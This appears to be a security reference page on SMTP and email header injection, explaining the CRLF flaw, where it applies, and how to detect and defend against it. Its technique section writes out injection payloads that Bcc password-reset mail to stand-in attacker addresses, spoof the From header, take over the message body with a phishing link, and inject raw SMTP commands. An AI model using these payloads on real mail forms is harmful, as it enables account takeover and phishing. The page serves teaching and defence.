SMTP / email header injection
TL;DR: CRLF in user-controlled
From/To/Subjectlets the attacker add arbitrary headers and recipients to outbound mail — phishing-from-trusted-domain, BCC exfil of password-reset flows, and SMTP-command injection on naive raw-protocol clients.
What it is
Web apps frequently build email messages by concatenating user input into headers (Subject: $subject\n, From: $name <noreply@target.com>\n). Email headers are CRLF-delimited and headers end at a blank line. If the user input contains \r\n, the attacker can inject additional headers (Bcc: attacker@evil), set arbitrary Reply-To, or terminate headers early and inject a fresh body. The same primitive on raw SMTP clients (custom mailers that talk to port 25 directly with user-controlled data) injects SMTP commands.
Preconditions / where it applies
- A web form takes user input and uses it in an email header — feedback forms, “send to a friend”, invite endpoints, support tickets, password reset (display name).
- The mail layer does not normalise
\r/\n/%0d%0abefore writing headers. - High-impact targets: password-reset flows where the attacker bcc’s themselves on victim resets; phishing-from-trusted-domain where the attacker controls the body via header injection.
Technique
URL-encoded payload in a name field:
1
name=Attacker%0d%0aBcc:%20victim@evil.tld
If the app builds:
1
2
3
4
From: Attacker
Bcc: victim@evil.tld <noreply@target.com>
To: support@target.com
Subject: hi
The injected Bcc: header is now part of the envelope.
Body takeover — inject a blank line then a new body:
1
subject=Hi%0d%0a%0d%0aURGENT: please reset your password at https://evil.tld
After CRLF CRLF, the rest of the input is treated as body. With careful construction (set Content-Type: text/html; boundary=...), the attacker can replace the entire email content.
Header overwrite (last header wins on some clients):
1
%0d%0aFrom: ceo@target.com
For password-reset abuse:
1
email=victim@target.com%0d%0aBcc:%20me@evil.tld
If the backend uses the same email field both for the lookup and as the To header, the reset link is BCC’d to the attacker.
Raw-SMTP variant — when an app pipes user input into sendmail -t or directly to a socket, additional commands can be injected:
1
From: a@x%0d%0a.%0d%0aRCPT TO: <attacker@evil.tld>%0d%0aDATA%0d%0aFrom: spoof@victim
Ends the current DATA, starts a new SMTP transaction. This is rarer today (most apps use libraries) but still found in custom alerting/IoT code.
Side channel: SES / SendGrid / Mailgun reject the message but echo the malformed header in the bounce → information disclosure.
Detection and defence
- Validate inputs that go into headers with a strict allowlist — emails via RFC 5322 regex, names with no control chars. Reject
\r,\n,%0d,%0a. - Use a library that constructs MIME (nodemailer, JavaMail, Python
email.message) — never concatenate raw header strings. - Pin
From/Reply-Toserver-side; the user only controls the body. If a display name is needed, encode it (=?utf-8?b?...?=). - DMARC + DKIM + SPF on the sender domain so injected
From: spoof@trustedis rejected by mailbox providers. - Logging: alert on outbound mail with unusual
Bcc/Cccounts, or with headers containing the user input verbatim.
See also crlf-injection, http-parameter-pollution, account-recovery-attacks.
References
- OWASP – CRLF Injection — class definition incl. mail
- PortSwigger – Email header injection — issue definition
- HackTricks – SMTP injection — SMTP fundamentals